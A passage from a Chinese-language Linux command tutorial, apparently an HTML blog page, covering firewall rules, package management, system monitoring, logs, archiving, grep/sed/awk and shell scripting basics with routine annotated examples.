class="hljs-built_in">sudo</span> ufw allow 443               <span class="hljs-comment"># 允许HTTPS</span><br><span class="hljs-built_in">sudo</span> ufw allow from 192.168.1.100  <span class="hljs-comment"># 允许特定IP</span><br><span class="hljs-built_in">sudo</span> ufw delete allow 80         <span class="hljs-comment"># 删除规则</span><br><span class="hljs-built_in">sudo</span> ufw reset                   <span class="hljs-comment"># 重置防火墙</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="10-%E8%BD%AF%E4%BB%B6%E5%8C%85%E7%AE%A1%E7%90%86">10. 软件包管理</span></h2><h3><span id="debianubuntu-apt">Debian/Ubuntu (apt)</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 更新软件源列表</span><br><span class="hljs-built_in">sudo</span> apt update<br><br><span class="hljs-comment"># 升级所有已安装的软件</span><br><span class="hljs-built_in">sudo</span> apt upgrade<br><span class="hljs-built_in">sudo</span> apt full-upgrade      <span class="hljs-comment"># 更彻底的升级（可删除冲突包）</span><br><br><span class="hljs-comment"># 安装软件</span><br><span class="hljs-built_in">sudo</span> apt install nginx<br><span class="hljs-built_in">sudo</span> apt install vim git curl -y   <span class="hljs-comment"># 安装多个，-y自动确认</span><br><br><span class="hljs-comment"># 搜索软件</span><br>apt search keyword<br>apt-cache search keyword<br><br><span class="hljs-comment"># 查看软件信息</span><br>apt show nginx<br><br><span class="hljs-comment"># 删除软件</span><br><span class="hljs-built_in">sudo</span> apt remove nginx           <span class="hljs-comment"># 删除软件，保留配置</span><br><span class="hljs-built_in">sudo</span> apt purge nginx            <span class="hljs-comment"># 删除软件和配置</span><br><span class="hljs-built_in">sudo</span> apt autoremove             <span class="hljs-comment"># 删除不再需要的依赖</span><br><br><span class="hljs-comment"># 清理缓存</span><br><span class="hljs-built_in">sudo</span> apt clean                  <span class="hljs-comment"># 清理所有下载的包缓存</span><br><span class="hljs-built_in">sudo</span> apt autoclean              <span class="hljs-comment"># 清理过时的包缓存</span><br><br><span class="hljs-comment"># 列出已安装的软件</span><br>apt list --installed<br>dpkg -l                         <span class="hljs-comment"># 更详细</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="centosrhelfedora-yumdnf">CentOS/RHEL/Fedora (yum/dnf)</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># RHEL 7及以前使用 yum，RHEL 8+/Fedora 使用 dnf</span><br><span class="hljs-comment"># dnf 是 yum 的下一代，语法几乎相同</span><br><br><span class="hljs-comment"># 搜索和安装</span><br><span class="hljs-built_in">sudo</span> yum search nginx<br><span class="hljs-built_in">sudo</span> yum install nginx -y<br><span class="hljs-built_in">sudo</span> dnf install nginx -y<br><br><span class="hljs-comment"># 更新</span><br><span class="hljs-built_in">sudo</span> yum update<br><span class="hljs-built_in">sudo</span> yum upgrade<br><br><span class="hljs-comment"># 删除</span><br><span class="hljs-built_in">sudo</span> yum remove nginx<br><br><span class="hljs-comment"># 清理缓存</span><br><span class="hljs-built_in">sudo</span> yum clean all<br><br><span class="hljs-comment"># 列出</span><br>yum list installed<br>yum repolist          <span class="hljs-comment"># 查看已启用的仓库</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E4%BB%8E%E6%BA%90%E7%A0%81%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85">从源码编译安装</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 经典三步走</span><br>./configure --prefix=/usr/local/myapp<br>make -j$(<span class="hljs-built_in">nproc</span>)        <span class="hljs-comment"># 使用所有CPU核心编译</span><br><span class="hljs-built_in">sudo</span> make install<br><br><span class="hljs-comment"># 卸载</span><br><span class="hljs-built_in">sudo</span> make uninstall<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="11-%E7%B3%BB%E7%BB%9F%E4%BF%A1%E6%81%AF%E4%B8%8E%E7%9B%91%E6%8E%A7">11. 系统信息与监控</span></h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># uname - 系统基本信息</span><br><span class="hljs-built_in">uname</span> -a                <span class="hljs-comment"># 全部信息</span><br><span class="hljs-built_in">uname</span> -r                <span class="hljs-comment"># 内核版本</span><br><span class="hljs-built_in">uname</span> -m                <span class="hljs-comment"># 机器架构（x86_64, aarch64）</span><br><br><span class="hljs-comment"># hostnamectl - 主机名信息</span><br>hostnamectl             <span class="hljs-comment"># 详细主机信息</span><br>hostnamectl set-hostname myserver   <span class="hljs-comment"># 设置主机名</span><br><br><span class="hljs-comment"># lsb_release - 发行版信息</span><br>lsb_release -a<br><span class="hljs-built_in">cat</span> /etc/os-release     <span class="hljs-comment"># 替代方案</span><br><br><span class="hljs-comment"># uptime - 系统运行时间</span><br><span class="hljs-built_in">uptime</span>                  <span class="hljs-comment"># 运行时间 + 负载</span><br><br><span class="hljs-comment"># free - 内存使用情况</span><br>free -h                 <span class="hljs-comment"># 人类可读格式</span><br>free -m                 <span class="hljs-comment"># 以MB为单位</span><br><br><span class="hljs-comment"># lscpu - CPU信息</span><br>lscpu<br><br><span class="hljs-comment"># lsblk - 块设备信息</span><br>lsblk<br><br><span class="hljs-comment"># lspci - PCI设备</span><br>lspci | grep -i network    <span class="hljs-comment"># 网卡信息</span><br>lspci | grep -i vga        <span class="hljs-comment"># 显卡信息</span><br><br><span class="hljs-comment"># lsusb - USB设备</span><br>lsusb<br><br><span class="hljs-comment"># dmidecode - 硬件详细信息</span><br><span class="hljs-built_in">sudo</span> dmidecode -t memory    <span class="hljs-comment"># 内存信息</span><br><span class="hljs-built_in">sudo</span> dmidecode -t system    <span class="hljs-comment"># 系统信息</span><br><br><span class="hljs-comment"># 系统负载</span><br><span class="hljs-built_in">cat</span> /proc/loadavg           <span class="hljs-comment"># 1分钟,5分钟,15分钟负载</span><br>w                           <span class="hljs-comment"># 负载 + 用户活动</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E6%97%A5%E5%BF%97%E6%9F%A5%E7%9C%8B">日志查看</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># journalctl - systemd 日志（主流）</span><br>journalctl -u nginx             <span class="hljs-comment"># 查看nginx服务日志</span><br>journalctl -u nginx -f          <span class="hljs-comment"># 实时追踪</span><br>journalctl -u nginx --since today  <span class="hljs-comment"># 今天的日志</span><br>journalctl -u nginx -n 50       <span class="hljs-comment"># 最近50行</span><br>journalctl --since <span class="hljs-string">"2026-06-27"</span> --<span class="hljs-keyword">until</span> <span class="hljs-string">"2026-06-28"</span><br><br><span class="hljs-comment"># 传统日志文件</span><br><span class="hljs-built_in">cat</span> /var/log/syslog              <span class="hljs-comment"># Debian/Ubuntu 系统日志</span><br><span class="hljs-built_in">cat</span> /var/log/messages            <span class="hljs-comment"># CentOS/RHEL 系统日志</span><br><span class="hljs-built_in">tail</span> -f /var/log/auth.log        <span class="hljs-comment"># 认证日志（登录记录）</span><br><span class="hljs-built_in">tail</span> -f /var/log/nginx/access.log  <span class="hljs-comment"># Nginx访问日志</span><br><span class="hljs-built_in">tail</span> -f /var/log/nginx/error.log   <span class="hljs-comment"># Nginx错误日志</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="12-%E5%8E%8B%E7%BC%A9%E4%B8%8E%E5%BD%92%E6%A1%A3">12. 压缩与归档</span></h2><h3><span id="tar---%E5%BD%92%E6%A1%A3%E4%B8%8E%E5%8E%8B%E7%BC%A9">tar - 归档与压缩</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 创建压缩包</span><br>tar -czvf archive.tar.gz <span class="hljs-built_in">dir</span>/     <span class="hljs-comment"># 创建 .tar.gz (gzip压缩)</span><br>tar -cjvf archive.tar.bz2 <span class="hljs-built_in">dir</span>/    <span class="hljs-comment"># 创建 .tar.bz2 (bzip2压缩)</span><br>tar -cJvf archive.tar.xz <span class="hljs-built_in">dir</span>/     <span class="hljs-comment"># 创建 .tar.xz (xz压缩，压缩率最高)</span><br><br><span class="hljs-comment"># 解压</span><br>tar -xzvf archive.tar.gz          <span class="hljs-comment"># 解压 .tar.gz</span><br>tar -xjvf archive.tar.bz2         <span class="hljs-comment"># 解压 .tar.bz2</span><br>tar -xJvf archive.tar.xz          <span class="hljs-comment"># 解压 .tar.xz</span><br>tar -xvf archive.tar -C /target/  <span class="hljs-comment"># 解压到指定目录</span><br><br><span class="hljs-comment"># tar 选项记忆:</span><br><span class="hljs-comment"># c = Create（创建）  x = eXtract（解压）</span><br><span class="hljs-comment"># z = gZip            j = bZip2        J = xZ</span><br><span class="hljs-comment"># v = Verbose（显示过程）  f = File（指定文件名）</span><br><br><span class="hljs-comment"># 查看压缩包内容（不解压）</span><br>tar -tzvf archive.tar.gz<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%85%B6%E4%BB%96%E5%8E%8B%E7%BC%A9%E5%B7%A5%E5%85%B7">其他压缩工具</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># gzip / gunzip</span><br>gzip file.txt               <span class="hljs-comment"># 压缩为 file.txt.gz</span><br>gunzip file.txt.gz          <span class="hljs-comment"># 解压</span><br>gzip -d file.txt.gz         <span class="hljs-comment"># 同上</span><br>gzip -9 file.txt            <span class="hljs-comment"># 最高压缩率</span><br><br><span class="hljs-comment"># zip / unzip</span><br>zip -r archive.zip <span class="hljs-built_in">dir</span>/     <span class="hljs-comment"># 压缩目录</span><br>unzip archive.zip           <span class="hljs-comment"># 解压</span><br>unzip -l archive.zip        <span class="hljs-comment"># 查看内容不解压</span><br><br><span class="hljs-comment"># 7z（需安装 p7zip-full）</span><br>7z a archive.7z <span class="hljs-built_in">dir</span>/        <span class="hljs-comment"># 创建 .7z</span><br>7z x archive.7z             <span class="hljs-comment"># 解压（保留目录结构）</span><br>7z l archive.7z             <span class="hljs-comment"># 查看内容</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="13-%E6%96%87%E6%9C%AC%E5%A4%84%E7%90%86%E4%B8%89%E5%89%91%E5%AE%A2">13. 文本处理三剑客</span></h2><h3><span id="grep---%E6%96%87%E6%9C%AC%E6%90%9C%E7%B4%A2">grep - 文本搜索</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 基本搜索</span><br>grep <span class="hljs-string">"pattern"</span> file.txt              <span class="hljs-comment"># 搜索匹配行</span><br>grep -i <span class="hljs-string">"pattern"</span> file.txt           <span class="hljs-comment"># 忽略大小写</span><br>grep -v <span class="hljs-string">"pattern"</span> file.txt           <span class="hljs-comment"># 反向搜索（不匹配的行）</span><br>grep -r <span class="hljs-string">"pattern"</span> /path/to/dir/      <span class="hljs-comment"># 递归搜索目录</span><br>grep -n <span class="hljs-string">"pattern"</span> file.txt           <span class="hljs-comment"># 显示行号</span><br>grep -c <span class="hljs-string">"pattern"</span> file.txt           <span class="hljs-comment"># 统计匹配行数</span><br>grep -l <span class="hljs-string">"pattern"</span> *.txt              <span class="hljs-comment"># 只显示文件名</span><br>grep -E <span class="hljs-string">"pattern1|pattern2"</span> file.txt <span class="hljs-comment"># 正则表达式（或使用 egrep）</span><br>grep -A 3 <span class="hljs-string">"pattern"</span> file.txt         <span class="hljs-comment"># 显示匹配行及后3行</span><br>grep -B 3 <span class="hljs-string">"pattern"</span> file.txt         <span class="hljs-comment"># 显示匹配行及前3行</span><br>grep -C 3 <span class="hljs-string">"pattern"</span> file.txt         <span class="hljs-comment"># 显示匹配行及前后各3行</span><br><br><span class="hljs-comment"># 实用示例</span><br>ps aux | grep nginx                  <span class="hljs-comment"># 查找进程</span><br><span class="hljs-built_in">history</span> | grep git                   <span class="hljs-comment"># 搜索命令历史</span><br>grep -r <span class="hljs-string">"TODO"</span> src/                  <span class="hljs-comment"># 搜索代码中的TODO</span><br>grep -v <span class="hljs-string">"^#"</span> config.conf | grep -v <span class="hljs-string">"^$"</span>  <span class="hljs-comment"># 显示有效配置（去掉注释和空行）</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="sed---%E6%B5%81%E7%BC%96%E8%BE%91%E5%99%A8%E6%96%87%E6%9C%AC%E6%9B%BF%E6%8D%A2">sed - 流编辑器（文本替换）</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 替换（最常用）</span><br>sed <span class="hljs-string">'s/old/new/'</span> file.txt            <span class="hljs-comment"># 每行替换第一个匹配</span><br>sed <span class="hljs-string">'s/old/new/g'</span> file.txt           <span class="hljs-comment"># 每行替换所有匹配</span><br>sed <span class="hljs-string">'s/old/new/gi'</span> file.txt          <span class="hljs-comment"># 忽略大小写全局替换</span><br>sed -i <span class="hljs-string">'s/old/new/g'</span> file.txt        <span class="hljs-comment"># 直接修改文件（-i）</span><br><br><span class="hljs-comment"># 删除行</span><br>sed <span class="hljs-string">'5d'</span> file.txt                    <span class="hljs-comment"># 删除第5行</span><br>sed <span class="hljs-string">'5,10d'</span> file.txt                 <span class="hljs-comment"># 删除5-10行</span><br>sed <span class="hljs-string">'/pattern/d'</span> file.txt            <span class="hljs-comment"># 删除匹配行</span><br><br><span class="hljs-comment"># 打印行</span><br>sed -n <span class="hljs-string">'5p'</span> file.txt                 <span class="hljs-comment"># 只打印第5行</span><br>sed -n <span class="hljs-string">'5,10p'</span> file.txt              <span class="hljs-comment"># 打印5-10行</span><br><br><span class="hljs-comment"># 插入和追加</span><br>sed <span class="hljs-string">'5i\New line before'</span> file.txt    <span class="hljs-comment"># 在第5行前插入</span><br>sed <span class="hljs-string">'5a\New line after'</span> file.txt     <span class="hljs-comment"># 在第5行后追加</span><br><br><span class="hljs-comment"># 实用示例</span><br>sed -i <span class="hljs-string">'s/\r$//'</span> file.txt            <span class="hljs-comment"># 去掉Windows换行符</span><br>sed -i <span class="hljs-string">'/^$/d'</span> file.txt              <span class="hljs-comment"># 删除空行</span><br>sed <span class="hljs-string">'s/[[:space:]]*$//'</span> file.txt     <span class="hljs-comment"># 删除行尾空格</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="awk---%E6%96%87%E6%9C%AC%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7">awk - 文本分析工具</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 按列操作</span><br>awk <span class="hljs-string">'{print $1}'</span> file.txt             <span class="hljs-comment"># 打印第1列</span><br>awk <span class="hljs-string">'{print $1, $3}'</span> file.txt         <span class="hljs-comment"># 打印第1列和第3列</span><br>awk -F: <span class="hljs-string">'{print $1, $7}'</span> /etc/passwd  <span class="hljs-comment"># 指定分隔符为冒号</span><br>awk -F, <span class="hljs-string">'{print $2}'</span> data.csv         <span class="hljs-comment"># 处理CSV文件</span><br><br><span class="hljs-comment"># 条件过滤</span><br>awk <span class="hljs-string">'$3 &gt; 100'</span> file.txt               <span class="hljs-comment"># 第3列 &gt; 100 的行</span><br>awk <span class="hljs-string">'$1 == "error"'</span> log.txt           <span class="hljs-comment"># 第1列等于 "error"</span><br>awk <span class="hljs-string">'NR&gt;=5 &amp;&amp; NR&lt;=10'</span> file.txt        <span class="hljs-comment"># 第5到10行</span><br><br><span class="hljs-comment"># 内置变量</span><br><span class="hljs-comment"># NR = 行号, NF = 列数, $0 = 整行, FS = 分隔符</span><br>awk <span class="hljs-string">'{print NR, $0}'</span> file.txt         <span class="hljs-comment"># 带行号打印</span><br>awk <span class="hljs-string">'{print NF, $0}'</span> file.txt         <span class="hljs-comment"># 打印列数</span><br>awk <span class="hljs-string">'END {print NR}'</span> file.txt         <span class="hljs-comment"># 统计总行数</span><br><br><span class="hljs-comment"># 实用示例</span><br>awk <span class="hljs-string">'{sum+=$3} END {print sum}'</span> data.txt   <span class="hljs-comment"># 对第3列求和</span><br>awk <span class="hljs-string">'{if($3&gt;80) print $1,"优秀"; else print $1,"继续努力"}'</span> score.txt<br><span class="hljs-built_in">df</span> -h | awk <span class="hljs-string">'NR&gt;1 {print $5, $6}'</span>          <span class="hljs-comment"># 提取磁盘使用率</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="14-shell-%E8%84%9A%E6%9C%AC%E5%9F%BA%E7%A1%80">14. Shell 脚本基础</span></h2><h3><span id="%E7%AC%AC%E4%B8%80%E4%B8%AA%E8%84%9A%E6%9C%AC">第一个脚本</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-meta">#!/bin/bash</span><br><span class="hljs-comment"># 这是一个注释</span><br><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"Hello, World!"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"当前用户: <span class="hljs-subst">$(whoami)</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"当前目录: <span class="hljs-subst">$(pwd)</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"当前时间: <span class="hljs-subst">$(date)</span>"</span><br></code></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 运行脚本</span><br><span class="hljs-built_in">chmod</span> +x script.sh        <span class="hljs-comment"># 添加执行权限</span><br>./script.sh               <span class="hljs-comment"># 执行</span><br>bash script.sh            <span class="hljs-comment"># 或直接用bash执行</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%8F%98%E9%87%8F">变量</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-meta">#!/bin/bash</span><br><br><span class="hljs-comment"># 定义变量（= 两边不能有空格！）</span><br>name=<span class="hljs-string">"Alice"</span><br>age=25<br><br><span class="hljs-comment"># 使用变量</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"Name: <span class="hljs-variable">$name</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"Age: <span class="hljs-variable">${age}</span>"</span>           <span class="hljs-comment"># ${} 用于区分变量边界</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"Hello, <span class="hljs-variable">${name}</span>!"</span>       <span class="hljs-comment"># 推荐写法</span><br><br><span class="hljs-comment"># 特殊变量</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"脚本名: <span class="hljs-variable">$0</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"第一个参数: <span class="hljs-variable">$1</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"第二个参数: <span class="hljs-variable">$2</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"参数个数: <span class="hljs-variable">$#</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"所有参数: <span class="hljs-variable">$@</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"退出状态: $?"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"当前进程PID: $$"</span><br><br><span class="hljs-comment"># 命令替换</span><br>current_date=$(<span class="hljs-built_in">date</span>)<br>file_count=$(<span class="hljs-built_in">ls</span> | <span class="hljs-built_in">wc</span> -l)<br><span class="hljs-built_in">echo</span> <span class="hljs-string">"Today is <span class="hljs-variable">$current_date</span>"</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">"Files: <span class="hljs-variable">$file_count</span>"</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E6%9D%A1%E4%BB%B6%E5%88%A4%E6%96%AD">条件判断</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-meta">#!/bin/bash</span><br><br><span class="hljs-comment"># if 语句</span><br><span class="hljs-keyword">if</span> [ <span class="hljs-string">"<span class="hljs-variable">$name</span>"</span> = <span class="hljs-string">"Alice"</span> ]; <span class="hljs-keyword">then</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Welcome, Alice!"</span><br><span class="hljs-keyword">elif</span> [ <span class="hljs-string">"<span class="hljs-variable">$name</span>"</span> = <span class="hljs-string">"Bob"</span> ]; <span class="hljs-keyword">then</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Welcome, Bob!"</span><br><span class="hljs-keyword">else</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Who are you?"</span><br><span class="hljs-keyword">fi</span><br><br><span class="hljs-comment"># 文件测试</span><br><span class="hljs-keyword">if</span> [ -f <span class="hljs-string">"file.txt"</span> ]; <span class="hljs-keyword">then</span>        <span class="hljs-comment"># 文件是否存在</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"file.txt exists"</span><br><span class="hljs-keyword">fi</span><br><span class="hljs-keyword">if</span> [ -d <span class="hljs-string">"/etc"</span> ]; <span class="hljs-keyword">then</span>            <span class="hljs-comment"># 目录是否存在</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"/etc is a directory"</span><br><span class="hljs-keyword">fi</span><br><span class="hljs-keyword">if</span> [ -x <span class="hljs-string">"script.sh"</span> ]; <span class="hljs-keyword">then</span>       <span class="hljs-comment"># 是否可执行</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"script.sh is executable"</span><br><span class="hljs-keyword">fi</span><br><br><span class="hljs-comment"># 数值比较</span><br><span class="hljs-keyword">if</span> [ <span class="hljs-string">"<span class="hljs-variable">$age</span>"</span> -gt 18 ]; <span class="hljs-keyword">then</span>        <span class="hljs-comment"># -gt:大于  -lt:小于  -eq:等于</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Adult"</span><br><span class="hljs-keyword">fi</span><br><br><span class="hljs-comment"># 字符串比较</span><br><span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$var</span>"</span> ]; <span class="hljs-keyword">then</span>            <span class="hljs-comment"># -z: 字符串为空</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"var is empty"</span><br><span class="hljs-keyword">fi</span><br><span class="hljs-keyword">if</span> [ -n <span class="hljs-string">"<span class="hljs-variable">$var</span>"</span> ]; <span class="hljs-keyword">then</span>            <span class="hljs-comment"># -n: 字符串非空</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"var is not empty"</span><br><span class="hljs-keyword">fi</span><br><br><span class="hljs-comment"># 逻辑运算</span><br><span class="hljs-keyword">if</span> [ -f <span class="hljs-string">"a.txt"</span> ] &amp;&amp; [ -f <span class="hljs-string">"b.txt"</span> ]; <span class="hljs-keyword">then</span>   <span class="hljs-comment"># 与</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Both exist"</span><br><span class="hljs-keyword">fi</span><br><span class="hljs-keyword">if</span> [ -f <span class="hljs-string">"a.txt"</span> ] || [ -f <span class="hljs-string">"b.txt"</span> ]; <span class="hljs-keyword">then</span>   <span class="hljs-comment"># 或</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"At least one exists"</span><br><span class="hljs-keyword">fi</span><br></code></pre></td></tr></tbody></table></figure><h3><span 